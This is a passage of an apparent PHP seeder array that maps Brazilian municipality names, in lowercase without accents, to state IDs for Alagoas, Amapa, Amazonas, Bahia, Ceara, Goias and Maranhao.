'capela'],\n ['state_id' => '513', 'name' => 'coite do noia'],\n ['state_id' => '513', 'name' => 'colonia leopoldina'],\n ['state_id' => '513', 'name' => 'coruripe'],\n ['state_id' => '513', 'name' => 'craibas'],\n ['state_id' => '513', 'name' => 'delmiro gouveia'],\n ['state_id' => '513', 'name' => 'dois riachos'],\n ['state_id' => '513', 'name' => 'estrela de alagoas'],\n ['state_id' => '513', 'name' => 'feira grande'],\n ['state_id' => '513', 'name' => 'flexeiras'],\n ['state_id' => '513', 'name' => 'girau do ponciano'],\n ['state_id' => '513', 'name' => 'ibateguara'],\n ['state_id' => '513', 'name' => 'igaci'],\n ['state_id' => '513', 'name' => 'igreja nova'],\n ['state_id' => '513', 'name' => 'inhapi'],\n ['state_id' => '513', 'name' => 'joaquim gomes'],\n ['state_id' => '513', 'name' => 'jundia'],\n ['state_id' => '513', 'name' => 'junqueiro'],\n ['state_id' => '513', 'name' => 'lagoa da canoa'],\n ['state_id' => '513', 'name' => 'limoeiro de anadia'],\n ['state_id' => '513', 'name' => 'maceio'],\n ['state_id' => '513', 'name' => 'major isidoro'],\n ['state_id' => '513', 'name' => 'maragogi'],\n ['state_id' => '513', 'name' => 'maravilha'],\n ['state_id' => '513', 'name' => 'marechal deodoro'],\n ['state_id' => '513', 'name' => 'maribondo'],\n ['state_id' => '513', 'name' => 'mata grande'],\n ['state_id' => '513', 'name' => 'matriz de camaragibe'],\n ['state_id' => '513', 'name' => 'messias'],\n ['state_id' => '513', 'name' => 'minador do negrao'],\n ['state_id' => '513', 'name' => 'murici'],\n ['state_id' => '513', 'name' => 'novo lino'],\n ['state_id' => '513', 'name' => 'olho d\\'agua das flores'],\n ['state_id' => '513', 'name' => 'olivenca'],\n ['state_id' => '513', 'name' => 'palmeira dos indios'],\n ['state_id' => '513', 'name' => 'pao de acucar'],\n ['state_id' => '513', 'name' => 'passo de camaragibe'],\n ['state_id' => '513', 'name' => 'penedo'],\n ['state_id' => '513', 'name' => 'piacabucu'],\n ['state_id' => '513', 'name' => 'pilar'],\n ['state_id' => '513', 'name' => 'piranhas'],\n ['state_id' => '513', 'name' => 'poco das trincheiras'],\n ['state_id' => '513', 'name' => 'porto calvo'],\n ['state_id' => '513', 'name' => 'porto real do colegio'],\n ['state_id' => '513', 'name' => 'quebrangulo'],\n ['state_id' => '513', 'name' => 'rio largo'],\n ['state_id' => '513', 'name' => 'santana do ipanema'],\n ['state_id' => '513', 'name' => 'santana do mundau'],\n ['state_id' => '513', 'name' => 'sao jose da laje'],\n ['state_id' => '513', 'name' => 'sao jose da tapera'],\n ['state_id' => '513', 'name' => 'sao luis do quitunde'],\n ['state_id' => '513', 'name' => 'sao miguel dos campos'],\n ['state_id' => '513', 'name' => 'sao sebastiao'],\n ['state_id' => '513', 'name' => 'satuba'],\n ['state_id' => '513', 'name' => 'senador rui palmeira'],\n ['state_id' => '513', 'name' => 'taquarana'],\n ['state_id' => '513', 'name' => 'teotonio vilela'],\n ['state_id' => '513', 'name' => 'traipu'],\n ['state_id' => '513', 'name' => 'uniao dos palmares'],\n ['state_id' => '513', 'name' => 'vicosa'],\n ['state_id' => '514', 'name' => 'amapa'],\n ['state_id' => '514', 'name' => 'laranjal do jari'],\n ['state_id' => '514', 'name' => 'macapa'],\n ['state_id' => '514', 'name' => 'mazagao'],\n ['state_id' => '514', 'name' => 'oiapoque'],\n ['state_id' => '514', 'name' => 'santana'],\n ['state_id' => '515', 'name' => 'alvaraes'],\n ['state_id' => '515', 'name' => 'anori'],\n ['state_id' => '515', 'name' => 'apui'],\n ['state_id' => '515', 'name' => 'autazes'],\n ['state_id' => '515', 'name' => 'barcelos'],\n ['state_id' => '515', 'name' => 'barreirinha'],\n ['state_id' => '515', 'name' => 'benjamin constant'],\n ['state_id' => '515', 'name' => 'boca do acre'],\n ['state_id' => '515', 'name' => 'borba'],\n ['state_id' => '515', 'name' => 'canutama'],\n ['state_id' => '515', 'name' => 'carauari'],\n ['state_id' => '515', 'name' => 'careiro'],\n ['state_id' => '515', 'name' => 'careiro da varzea'],\n ['state_id' => '515', 'name' => 'coari'],\n ['state_id' => '515', 'name' => 'codajas'],\n ['state_id' => '515', 'name' => 'eirunepe'],\n ['state_id' => '515', 'name' => 'envira'],\n ['state_id' => '515', 'name' => 'fonte boa'],\n ['state_id' => '515', 'name' => 'guajara'],\n ['state_id' => '515', 'name' => 'humaita'],\n ['state_id' => '515', 'name' => 'ipixuna'],\n ['state_id' => '515', 'name' => 'iranduba'],\n ['state_id' => '515', 'name' => 'itacoatiara'],\n ['state_id' => '515', 'name' => 'japura'],\n ['state_id' => '515', 'name' => 'jutai'],\n ['state_id' => '515', 'name' => 'labrea'],\n ['state_id' => '515', 'name' => 'manacapuru'],\n ['state_id' => '515', 'name' => 'manaquiri'],\n ['state_id' => '515', 'name' => 'manaus'],\n ['state_id' => '515', 'name' => 'manicore'],\n ['state_id' => '515', 'name' => 'maraa'],\n ['state_id' => '515', 'name' => 'maues'],\n ['state_id' => '515', 'name' => 'nhamunda'],\n ['state_id' => '515', 'name' => 'nova olinda do norte'],\n ['state_id' => '515', 'name' => 'novo airao'],\n ['state_id' => '515', 'name' => 'novo aripuana'],\n ['state_id' => '515', 'name' => 'parintins'],\n ['state_id' => '515', 'name' => 'pauini'],\n ['state_id' => '515', 'name' => 'rio preto da eva'],\n ['state_id' => '515', 'name' => 'santa isabel do rio negro'],\n ['state_id' => '515', 'name' => 'santo antonio do ica'],\n ['state_id' => '515', 'name' => 'sao gabriel da cachoeira'],\n ['state_id' => '515', 'name' => 'sao paulo de olivenca'],\n ['state_id' => '515', 'name' => 'tabatinga'],\n ['state_id' => '515', 'name' => 'tapaua'],\n ['state_id' => '515', 'name' => 'tefe'],\n ['state_id' => '515', 'name' => 'tonantins'],\n ['state_id' => '515', 'name' => 'uarini'],\n ['state_id' => '515', 'name' => 'urucara'],\n ['state_id' => '515', 'name' => 'urucurituba'],\n ['state_id' => '516', 'name' => 'acajutiba'],\n ['state_id' => '516', 'name' => 'alagoinhas'],\n ['state_id' => '516', 'name' => 'amargosa'],\n ['state_id' => '516', 'name' => 'amelia rodrigues'],\n ['state_id' => '516', 'name' => 'america dourada'],\n ['state_id' => '516', 'name' => 'anage'],\n ['state_id' => '516', 'name' => 'araci'],\n ['state_id' => '516', 'name' => 'aurelino leal'],\n ['state_id' => '516', 'name' => 'baixa grande'],\n ['state_id' => '516', 'name' => 'barra'],\n ['state_id' => '516', 'name' => 'barra da estiva'],\n ['state_id' => '516', 'name' => 'barra do choca'],\n ['state_id' => '516', 'name' => 'barreiras'],\n ['state_id' => '516', 'name' => 'belmonte'],\n ['state_id' => '516', 'name' => 'boa vista do tupim'],\n ['state_id' => '516', 'name' => 'bom jesus da lapa'],\n ['state_id' => '516', 'name' => 'boquira'],\n ['state_id' => '516', 'name' => 'brumado'],\n ['state_id' => '516', 'name' => 'buerarema'],\n ['state_id' => '516', 'name' => 'cachoeira'],\n ['state_id' => '516', 'name' => 'cacule'],\n ['state_id' => '516', 'name' => 'caetite'],\n ['state_id' => '516', 'name' => 'cafarnaum'],\n ['state_id' => '516', 'name' => 'camacan'],\n ['state_id' => '516', 'name' => 'camacari'],\n ['state_id' => '516', 'name' => 'camamu'],\n ['state_id' => '516', 'name' => 'campo alegre de lourdes'],\n ['state_id' => '516', 'name' => 'campo formoso'],\n ['state_id' => '516', 'name' => 'canarana'],\n ['state_id' => '516', 'name' => 'canavieiras'],\n ['state_id' => '516', 'name' => 'candeias'],\n ['state_id' => '516', 'name' => 'candido sales'],\n ['state_id' => '516', 'name' => 'cansancao'],\n ['state_id' => '516', 'name' => 'capim grosso'],\n ['state_id' => '516', 'name' => 'caravelas'],\n ['state_id' => '516', 'name' => 'carinhanha'],\n ['state_id' => '516', 'name' => 'casa nova'],\n ['state_id' => '516', 'name' => 'castro alves'],\n ['state_id' => '516', 'name' => 'catu'],\n ['state_id' => '516', 'name' => 'cicero dantas'],\n ['state_id' => '516', 'name' => 'cipo'],\n ['state_id' => '516', 'name' => 'coaraci'],\n ['state_id' => '516', 'name' => 'conceicao da feira'],\n ['state_id' => '516', 'name' => 'conceicao do almeida'],\n ['state_id' => '516', 'name' => 'conceicao do coite'],\n ['state_id' => '516', 'name' => 'conceicao do jacuipe'],\n ['state_id' => '516', 'name' => 'conde'],\n ['state_id' => '516', 'name' => 'coracao de maria'],\n ['state_id' => '516', 'name' => 'coronel joao sa'],\n ['state_id' => '516', 'name' => 'correntina'],\n ['state_id' => '516', 'name' => 'cruz das almas'],\n ['state_id' => '516', 'name' => 'curaca'],\n ['state_id' => '516', 'name' => 'dias d\\'avila'],\n ['state_id' => '516', 'name' => 'encruzilhada'],\n ['state_id' => '516', 'name' => 'entre rios'],\n ['state_id' => '516', 'name' => 'esplanada'],\n ['state_id' => '516', 'name' => 'euclides da cunha'],\n ['state_id' => '516', 'name' => 'eunapolis'],\n ['state_id' => '516', 'name' => 'feira de santana'],\n ['state_id' => '516', 'name' => 'filadelfia'],\n ['state_id' => '516', 'name' => 'formosa do rio preto'],\n ['state_id' => '516', 'name' => 'gandu'],\n ['state_id' => '516', 'name' => 'guanambi'],\n ['state_id' => '516', 'name' => 'guaratinga'],\n ['state_id' => '516', 'name' => 'iacu'],\n ['state_id' => '516', 'name' => 'ibicarai'],\n ['state_id' => '516', 'name' => 'ibicui'],\n ['state_id' => '516', 'name' => 'ibipeba'],\n ['state_id' => '516', 'name' => 'ibirapitanga'],\n ['state_id' => '516', 'name' => 'ibirataia'],\n ['state_id' => '516', 'name' => 'ibotirama'],\n ['state_id' => '516', 'name' => 'iguai'],\n ['state_id' => '516', 'name' => 'ilheus'],\n ['state_id' => '516', 'name' => 'inhambupe'],\n ['state_id' => '516', 'name' => 'ipiau'],\n ['state_id' => '516', 'name' => 'ipira'],\n ['state_id' => '516', 'name' => 'iraquara'],\n ['state_id' => '516', 'name' => 'irara'],\n ['state_id' => '516', 'name' => 'irece'],\n ['state_id' => '516', 'name' => 'itabela'],\n ['state_id' => '516', 'name' => 'itaberaba'],\n ['state_id' => '516', 'name' => 'itabuna'],\n ['state_id' => '516', 'name' => 'itacare'],\n ['state_id' => '516', 'name' => 'itagi'],\n ['state_id' => '516', 'name' => 'itagiba'],\n ['state_id' => '516', 'name' => 'itajuipe'],\n ['state_id' => '516', 'name' => 'itamaraju'],\n ['state_id' => '516', 'name' => 'itambe'],\n ['state_id' => '516', 'name' => 'itanhem'],\n ['state_id' => '516', 'name' => 'itaparica'],\n ['state_id' => '516', 'name' => 'itapetinga'],\n ['state_id' => '516', 'name' => 'itapicuru'],\n ['state_id' => '516', 'name' => 'itarantim'],\n ['state_id' => '516', 'name' => 'itirucu'],\n ['state_id' => '516', 'name' => 'itiuba'],\n ['state_id' => '516', 'name' => 'itororo'],\n ['state_id' => '516', 'name' => 'ituacu'],\n ['state_id' => '516', 'name' => 'itubera'],\n ['state_id' => '516', 'name' => 'jacobina'],\n ['state_id' => '516', 'name' => 'jaguaquara'],\n ['state_id' => '516', 'name' => 'jaguarari'],\n ['state_id' => '516', 'name' => 'jequie'],\n ['state_id' => '516', 'name' => 'jeremoabo'],\n ['state_id' => '516', 'name' => 'jitauna'],\n ['state_id' => '516', 'name' => 'joao dourado'],\n ['state_id' => '516', 'name' => 'juazeiro'],\n ['state_id' => '516', 'name' => 'jussara'],\n ['state_id' => '516', 'name' => 'laje'],\n ['state_id' => '516', 'name' => 'lapao'],\n ['state_id' => '516', 'name' => 'lauro de freitas'],\n ['state_id' => '516', 'name' => 'livramento'],\n ['state_id' => '516', 'name' => 'macarani'],\n ['state_id' => '516', 'name' => 'macaubas'],\n ['state_id' => '516', 'name' => 'madre de deus'],\n ['state_id' => '516', 'name' => 'mairi'],\n ['state_id' => '516', 'name' => 'maracas'],\n ['state_id' => '516', 'name' => 'maragogipe'],\n ['state_id' => '516', 'name' => 'marau'],\n ['state_id' => '516', 'name' => 'mascote'],\n ['state_id' => '516', 'name' => 'mata de sao joao'],\n ['state_id' => '516', 'name' => 'medeiros neto'],\n ['state_id' => '516', 'name' => 'miguel calmon'],\n ['state_id' => '516', 'name' => 'milagres'],\n ['state_id' => '516', 'name' => 'monte santo'],\n ['state_id' => '516', 'name' => 'morro de chapeu'],\n ['state_id' => '516', 'name' => 'mucuri'],\n ['state_id' => '516', 'name' => 'mundo novo'],\n ['state_id' => '516', 'name' => 'muritiba'],\n ['state_id' => '516', 'name' => 'mutuipe'],\n ['state_id' => '516', 'name' => 'nazare'],\n ['state_id' => '516', 'name' => 'nova soure'],\n ['state_id' => '516', 'name' => 'nova vicosa'],\n ['state_id' => '516', 'name' => 'olindina'],\n ['state_id' => '516', 'name' => 'oliveira dos brejinhos'],\n ['state_id' => '516', 'name' => 'palmas de monte alto'],\n ['state_id' => '516', 'name' => 'paramirim'],\n ['state_id' => '516', 'name' => 'paratinga'],\n ['state_id' => '516', 'name' => 'paripiranga'],\n ['state_id' => '516', 'name' => 'pau brasil'],\n ['state_id' => '516', 'name' => 'paulo afonso'],\n ['state_id' => '516', 'name' => 'pilao arcado'],\n ['state_id' => '516', 'name' => 'pindobacu'],\n ['state_id' => '516', 'name' => 'piritiba'],\n ['state_id' => '516', 'name' => 'planalto'],\n ['state_id' => '516', 'name' => 'pocoes'],\n ['state_id' => '516', 'name' => 'pojuca'],\n ['state_id' => '516', 'name' => 'ponto novo'],\n ['state_id' => '516', 'name' => 'porto seguro'],\n ['state_id' => '516', 'name' => 'prado'],\n ['state_id' => '516', 'name' => 'presidente tancredo neves'],\n ['state_id' => '516', 'name' => 'queimadas'],\n ['state_id' => '516', 'name' => 'quijingue'],\n ['state_id' => '516', 'name' => 'rafael jambeiro'],\n ['state_id' => '516', 'name' => 'remanso'],\n ['state_id' => '516', 'name' => 'riachao das neves'],\n ['state_id' => '516', 'name' => 'riachao do jacuipe'],\n ['state_id' => '516', 'name' => 'riacho de santana'],\n ['state_id' => '516', 'name' => 'ribeira do pombal'],\n ['state_id' => '516', 'name' => 'rio real'],\n ['state_id' => '516', 'name' => 'ruy barbosa'],\n ['state_id' => '516', 'name' => 'salvador'],\n ['state_id' => '516', 'name' => 'santa cruz cabralia'],\n ['state_id' => '516', 'name' => 'santa ines'],\n ['state_id' => '516', 'name' => 'santa maria da vitoria'],\n ['state_id' => '516', 'name' => 'santa rita de cassia'],\n ['state_id' => '516', 'name' => 'santaluz'],\n ['state_id' => '516', 'name' => 'santana'],\n ['state_id' => '516', 'name' => 'santo amaro'],\n ['state_id' => '516', 'name' => 'santo antonio de jesus'],\n ['state_id' => '516', 'name' => 'santo estevao'],\n ['state_id' => '516', 'name' => 'sao desiderio'],\n ['state_id' => '516', 'name' => 'sao felipe'],\n ['state_id' => '516', 'name' => 'sao francisco do conde'],\n ['state_id' => '516', 'name' => 'sao gabriel'],\n ['state_id' => '516', 'name' => 'sao goncalo dos campos'],\n ['state_id' => '516', 'name' => 'sao sebastiao do passe'],\n ['state_id' => '516', 'name' => 'saubara'],\n ['state_id' => '516', 'name' => 'seabra'],\n ['state_id' => '516', 'name' => 'senhor do bonfim'],\n ['state_id' => '516', 'name' => 'sento se'],\n ['state_id' => '516', 'name' => 'serra dourada'],\n ['state_id' => '516', 'name' => 'serra do ramalho'],\n ['state_id' => '516', 'name' => 'serrinha'],\n ['state_id' => '516', 'name' => 'simoes filho'],\n ['state_id' => '516', 'name' => 'sobradinho'],\n ['state_id' => '516', 'name' => 'souto soares'],\n ['state_id' => '516', 'name' => 'tanhacu'],\n ['state_id' => '516', 'name' => 'taperoa'],\n ['state_id' => '516', 'name' => 'tapiramuta'],\n ['state_id' => '516', 'name' => 'teixeira de freitas'],\n ['state_id' => '516', 'name' => 'teofilandia'],\n ['state_id' => '516', 'name' => 'terra nova'],\n ['state_id' => '516', 'name' => 'tremedal'],\n ['state_id' => '516', 'name' => 'tucano'],\n ['state_id' => '516', 'name' => 'uaua'],\n ['state_id' => '516', 'name' => 'ubaira'],\n ['state_id' => '516', 'name' => 'ubaitaba'],\n ['state_id' => '516', 'name' => 'ubata'],\n ['state_id' => '516', 'name' => 'una'],\n ['state_id' => '516', 'name' => 'urucuca'],\n ['state_id' => '516', 'name' => 'utinga'],\n ['state_id' => '516', 'name' => 'valenca'],\n ['state_id' => '516', 'name' => 'valente'],\n ['state_id' => '516', 'name' => 'vera cruz'],\n ['state_id' => '516', 'name' => 'vitoria da conquista'],\n ['state_id' => '516', 'name' => 'wenceslau guimaraes'],\n ['state_id' => '516', 'name' => 'xique-xique'],\n ['state_id' => '517', 'name' => 'acarau'],\n ['state_id' => '517', 'name' => 'acopiara'],\n ['state_id' => '517', 'name' => 'amontada'],\n ['state_id' => '517', 'name' => 'aquiraz'],\n ['state_id' => '517', 'name' => 'aracati'],\n ['state_id' => '517', 'name' => 'aracoiaba'],\n ['state_id' => '517', 'name' => 'araripe'],\n ['state_id' => '517', 'name' => 'assare'],\n ['state_id' => '517', 'name' => 'aurora'],\n ['state_id' => '517', 'name' => 'barbalha'],\n ['state_id' => '517', 'name' => 'barro'],\n ['state_id' => '517', 'name' => 'barroquinha'],\n ['state_id' => '517', 'name' => 'baturite'],\n ['state_id' => '517', 'name' => 'beberibe'],\n ['state_id' => '517', 'name' => 'bela cruz'],\n ['state_id' => '517', 'name' => 'boa viagem'],\n ['state_id' => '517', 'name' => 'brejo santo'],\n ['state_id' => '517', 'name' => 'camocim'],\n ['state_id' => '517', 'name' => 'campos sales'],\n ['state_id' => '517', 'name' => 'caninde'],\n ['state_id' => '517', 'name' => 'carire'],\n ['state_id' => '517', 'name' => 'caririacu'],\n ['state_id' => '517', 'name' => 'cascavel'],\n ['state_id' => '517', 'name' => 'caucaia'],\n ['state_id' => '517', 'name' => 'cedro'],\n ['state_id' => '517', 'name' => 'chorozinho'],\n ['state_id' => '517', 'name' => 'coreau'],\n ['state_id' => '517', 'name' => 'crateus'],\n ['state_id' => '517', 'name' => 'crato'],\n ['state_id' => '517', 'name' => 'cruz'],\n ['state_id' => '517', 'name' => 'eusebio'],\n ['state_id' => '517', 'name' => 'farias brito'],\n ['state_id' => '517', 'name' => 'forquilha'],\n ['state_id' => '517', 'name' => 'fortaleza'],\n ['state_id' => '517', 'name' => 'granja'],\n ['state_id' => '517', 'name' => 'guaiuba'],\n ['state_id' => '517', 'name' => 'guaraciaba do norte'],\n ['state_id' => '517', 'name' => 'hidrolandia'],\n ['state_id' => '517', 'name' => 'horizonte'],\n ['state_id' => '517', 'name' => 'ibiapina'],\n ['state_id' => '517', 'name' => 'ico'],\n ['state_id' => '517', 'name' => 'iguatu'],\n ['state_id' => '517', 'name' => 'independencia'],\n ['state_id' => '517', 'name' => 'ipu'],\n ['state_id' => '517', 'name' => 'ipueiras'],\n ['state_id' => '517', 'name' => 'iraucuba'],\n ['state_id' => '517', 'name' => 'itaitinga'],\n ['state_id' => '517', 'name' => 'itapage'],\n ['state_id' => '517', 'name' => 'itapipoca'],\n ['state_id' => '517', 'name' => 'itarema'],\n ['state_id' => '517', 'name' => 'jaguaribe'],\n ['state_id' => '517', 'name' => 'jaguaruana'],\n ['state_id' => '517', 'name' => 'jardim'],\n ['state_id' => '517', 'name' => 'juazeiro do norte'],\n ['state_id' => '517', 'name' => 'jucas'],\n ['state_id' => '517', 'name' => 'lavras da mangabeira'],\n ['state_id' => '517', 'name' => 'limoeiro do norte'],\n ['state_id' => '517', 'name' => 'maracanau'],\n ['state_id' => '517', 'name' => 'maranguape'],\n ['state_id' => '517', 'name' => 'marco'],\n ['state_id' => '517', 'name' => 'massape'],\n ['state_id' => '517', 'name' => 'mauriti'],\n ['state_id' => '517', 'name' => 'milagres'],\n ['state_id' => '517', 'name' => 'missao velha'],\n ['state_id' => '517', 'name' => 'mombaca'],\n ['state_id' => '517', 'name' => 'morada nova'],\n ['state_id' => '517', 'name' => 'nova russas'],\n ['state_id' => '517', 'name' => 'novo oriente'],\n ['state_id' => '517', 'name' => 'ocara'],\n ['state_id' => '517', 'name' => 'oros'],\n ['state_id' => '517', 'name' => 'pacajus'],\n ['state_id' => '517', 'name' => 'pacatuba'],\n ['state_id' => '517', 'name' => 'paracuru'],\n ['state_id' => '517', 'name' => 'paraipaba'],\n ['state_id' => '517', 'name' => 'parambu'],\n ['state_id' => '517', 'name' => 'pedra branca'],\n ['state_id' => '517', 'name' => 'pentecoste'],\n ['state_id' => '517', 'name' => 'quixada'],\n ['state_id' => '517', 'name' => 'quixeramobim'],\n ['state_id' => '517', 'name' => 'quixere'],\n ['state_id' => '517', 'name' => 'redencao'],\n ['state_id' => '517', 'name' => 'reriutaba'],\n ['state_id' => '517', 'name' => 'russas'],\n ['state_id' => '517', 'name' => 'santa quiteria'],\n ['state_id' => '517', 'name' => 'santana do acarau'],\n ['state_id' => '517', 'name' => 'sao benedito'],\n ['state_id' => '517', 'name' => 'sao goncalo do amarante'],\n ['state_id' => '517', 'name' => 'senador pompeu'],\n ['state_id' => '517', 'name' => 'sobral'],\n ['state_id' => '517', 'name' => 'tabuleiro do norte'],\n ['state_id' => '517', 'name' => 'tamboril'],\n ['state_id' => '517', 'name' => 'taua'],\n ['state_id' => '517', 'name' => 'tiangua'],\n ['state_id' => '517', 'name' => 'trairi'],\n ['state_id' => '517', 'name' => 'ubajara'],\n ['state_id' => '517', 'name' => 'umirim'],\n ['state_id' => '517', 'name' => 'uruburetama'],\n ['state_id' => '517', 'name' => 'varjota'],\n ['state_id' => '517', 'name' => 'varzea alegre'],\n ['state_id' => '517', 'name' => 'vicosa do ceara'],\n ['state_id' => '521', 'name' => 'abadiania'],\n ['state_id' => '521', 'name' => 'acreuna'],\n ['state_id' => '521', 'name' => 'aguas lindas de goias'],\n ['state_id' => '521', 'name' => 'alexania'],\n ['state_id' => '521', 'name' => 'anapolis'],\n ['state_id' => '521', 'name' => 'anicuns'],\n ['state_id' => '521', 'name' => 'aparecida de goiania'],\n ['state_id' => '521', 'name' => 'aragarcas'],\n ['state_id' => '521', 'name' => 'bela vista de goias'],\n ['state_id' => '521', 'name' => 'bom jesus de goias'],\n ['state_id' => '521', 'name' => 'buriti alegre'],\n ['state_id' => '521', 'name' => 'cacu'],\n ['state_id' => '521', 'name' => 'caiaponia'],\n ['state_id' => '521', 'name' => 'caldas novas'],\n ['state_id' => '521', 'name' => 'campos belos'],\n ['state_id' => '521', 'name' => 'campos verdes'],\n ['state_id' => '521', 'name' => 'carmo do rio verde'],\n ['state_id' => '521', 'name' => 'catalao'],\n ['state_id' => '521', 'name' => 'cavalcante'],\n ['state_id' => '521', 'name' => 'ceres'],\n ['state_id' => '521', 'name' => 'cidade ocidental'],\n ['state_id' => '521', 'name' => 'cocalzinho de coias'],\n ['state_id' => '521', 'name' => 'cristalina'],\n ['state_id' => '521', 'name' => 'crixas'],\n ['state_id' => '521', 'name' => 'doverlandia'],\n ['state_id' => '521', 'name' => 'edeia'],\n ['state_id' => '521', 'name' => 'firminopolis'],\n ['state_id' => '521', 'name' => 'formosa'],\n ['state_id' => '521', 'name' => 'goianapolis'],\n ['state_id' => '521', 'name' => 'goianesia'],\n ['state_id' => '521', 'name' => 'goiania'],\n ['state_id' => '521', 'name' => 'goianira'],\n ['state_id' => '521', 'name' => 'goias'],\n ['state_id' => '521', 'name' => 'goiatuba'],\n ['state_id' => '521', 'name' => 'guapo'],\n ['state_id' => '521', 'name' => 'hidrolandia'],\n ['state_id' => '521', 'name' => 'iaciara'],\n ['state_id' => '521', 'name' => 'indiara'],\n ['state_id' => '521', 'name' => 'inhumas'],\n ['state_id' => '521', 'name' => 'ipameri'],\n ['state_id' => '521', 'name' => 'ipora'],\n ['state_id' => '521', 'name' => 'itaberai'],\n ['state_id' => '521', 'name' => 'itapaci'],\n ['state_id' => '521', 'name' => 'itapirapua'],\n ['state_id' => '521', 'name' => 'itapuranga'],\n ['state_id' => '521', 'name' => 'itumbiara'],\n ['state_id' => '521', 'name' => 'jaragua'],\n ['state_id' => '521', 'name' => 'jatai'],\n ['state_id' => '521', 'name' => 'jussara'],\n ['state_id' => '521', 'name' => 'luziania'],\n ['state_id' => '521', 'name' => 'mara rosa'],\n ['state_id' => '521', 'name' => 'minacu'],\n ['state_id' => '521', 'name' => 'mineiros'],\n ['state_id' => '521', 'name' => 'morrinhos'],\n ['state_id' => '521', 'name' => 'mozarlandia'],\n ['state_id' => '521', 'name' => 'neropolis'],\n ['state_id' => '521', 'name' => 'niquelandia'],\n ['state_id' => '521', 'name' => 'nova crixas'],\n ['state_id' => '521', 'name' => 'novo gama'],\n ['state_id' => '521', 'name' => 'orizona'],\n ['state_id' => '521', 'name' => 'padre bernardo'],\n ['state_id' => '521', 'name' => 'palmeiras de goias'],\n ['state_id' => '521', 'name' => 'parauna'],\n ['state_id' => '521', 'name' => 'petrolina de goias'],\n ['state_id' => '521', 'name' => 'piracanjuba'],\n ['state_id' => '521', 'name' => 'piranhas'],\n ['state_id' => '521', 'name' => 'pirenopolis'],\n ['state_id' => '521', 'name' => 'pires do rio'],\n ['state_id' => '521', 'name' => 'planaltina'],\n ['state_id' => '521', 'name' => 'pontalina'],\n ['state_id' => '521', 'name' => 'porangatu'],\n ['state_id' => '521', 'name' => 'posse'],\n ['state_id' => '521', 'name' => 'quirinopolis'],\n ['state_id' => '521', 'name' => 'rialma'],\n ['state_id' => '521', 'name' => 'rio verde'],\n ['state_id' => '521', 'name' => 'rubiataba'],\n ['state_id' => '521', 'name' => 'santa helena de goias'],\n ['state_id' => '521', 'name' => 'santa terezinha de goias'],\n ['state_id' => '521', 'name' => 'santo antonio do descoberto'],\n ['state_id' => '521', 'name' => 'sao domingos'],\n ['state_id' => '521', 'name' => 'sao luis de montes belos'],\n ['state_id' => '521', 'name' => 'sao miguel do araguaia'],\n ['state_id' => '521', 'name' => 'sao simao'],\n ['state_id' => '521', 'name' => 'senador canedo'],\n ['state_id' => '521', 'name' => 'silvania'],\n ['state_id' => '521', 'name' => 'trindade'],\n ['state_id' => '521', 'name' => 'uruacu'],\n ['state_id' => '521', 'name' => 'uruana'],\n ['state_id' => '521', 'name' => 'valparaiso de goias'],\n ['state_id' => '521', 'name' => 'vianopolis'],\n ['state_id' => '522', 'name' => 'acailandia'],\n ['state_id' => '522', 'name' => 'alcantara'],\n ['state_id' => '522', 'name' => 'aldeias altas'],\n ['state_id' => '522', 'name' => 'alto alegre do pindare'],\n ['state_id' => '522', 'name' => 'amarante do maranhao'],\n ['state_id' => '522', 'name' => 'anajatuba'],\n ['state_id' => '522', 'name' => 'araioses'],\n ['state_id' => '522', 'name' => 'arame'],\n ['state_id' => '522', 'name' => 'arari'],\n ['state_id' => '522', 'name' => 'bacabal'],\n ['state_id' => '522', 'name' => 'balsas'],\n ['state_id' => '522', 'name' => 'barra do corda'],\n ['state_id' => '522', 'name' => 'barreirinhas'],\n ['state_id' => '522', 'name' => 'bequimao'],\n ['state_id' => '522', 'name' => 'bom jardim'],\n ['state_id' => '522', 'name' => 'brejo'],\n ['state_id' => '522', 'name' => 'buriti'],\n ['state_id' => '522', 'name' => 'buriti bravo'],\n ['state_id' => '522', 'name' => 'buriticupu'],\n ['state_id' => '522', 'name' => 'candido mendes'],\n ['state_id' => '522', 'name' => 'cantanhede'],\n ['state_id' => '522', 'name' => 'carolina'],\n ['state_id' => '522', 'name' => 'carutapera'],\n ['state_id' => '522', 'name' => 'caxias'],\n ['state_id' => '522', 'name' => 'chapadinha'],\n ['state_id' => '522', 'name' => 'codo'],\n ['state_id' => '522', 'name' => 'coelho neto'],\n ['state_id' => '522', 'name' => 'colinas'],\n ['state_id' => '522', 'name' => 'coroata'],\n ['state_id' => '522', 'name' => 'cururupu'],\n ['state_id' => '522', 'name' => 'davinopolis'],\n ['state_id' => '522', 'name' => 'dom pedro'],\n ['state_id' => '522', 'name' => 'esperantinopolis'],\n ['state_id' => '522', 'name' => 'estreito'],\n ['state_id' => '522', 'name' => 'fortuna'],\n ['state_id' => '522', 'name' => 'godofredo viana'],\n ['state_id' => '522', 'name' => 'governador eugenio barros'],\n ['state_id' => '522', 'name' => 'governador nunes freire'],\n ['state_id' => '522', 'name' => 'grajau'],\n ['state_id' => '522', 'name' => 'humberto de campos'],\n ['state_id' => '522', 'name' => 'icatu'],\n ['state_id' => '522', 'name' => 'imperatriz'],\n ['state_id' => '522', 'name' => 'itapecuru mirim'],\n ['state_id' => '522', 'name' => 'itinga do maranhao'],\n ['state_id' => '522', 'name' => 'joao lisboa'],\n ['state_id' => '522', 'name' => 'lago da pedra'],\n ['state_id' => '522', 'name' => 'lago do junco'],\n ['state_id' => '522', 'name' => 'maracacume'],\n ['state_id' => '522', 'name' => 'matinha'],\n ['state_id' => '522', 'name' => 'matoes'],\n ['state_id' => '522', 'name' => 'mirador'],\n ['state_id' => '522', 'name' => 'miranda do norte'],\n ['state_id' => '522', 'name' => 'moncao'],\n ['state_id' => '522', 'name' => 'montes altos'],\n ['state_id' => '522', 'name' => 'morros'],\n ['state_id' => '522', 'name' => 'nova olinda do maranhao'],\n ['state_id' => '522', 'name' => 'olho d\\'agua das cunhas'],\n ['state_id' => '522', 'name' => 'paco do lumiar'],\n ['state_id' => '522', 'name' => 'paraibano'],\n ['state_id' => '522', 'name' => 'parnarama'],\n ['state_id' => '522', 'name' => 'passagem franca'],\n ['state_id' => '522', 'name' => 'pastos bons'],\n ['state_id' => '522', 'name' => 'paulo ramos'],\n ['state_id' => '522', 'name' => 'pedreiras'],\n ['state_id' => '522', 'name' => 'penalva'],\n ['state_id' => '522', 'name' => 'pindare mirim'],\n ['state_id' => '522', 'name' => 'pinheiro'],\n ['state_id' => '522', 'name' => 'pio xii'],\n ['state_id' => '522', 'name' => 'pirapemas'],\n ['state_id' => '522', 'name' => 'pocao de pedras'],\n ['state_id' => 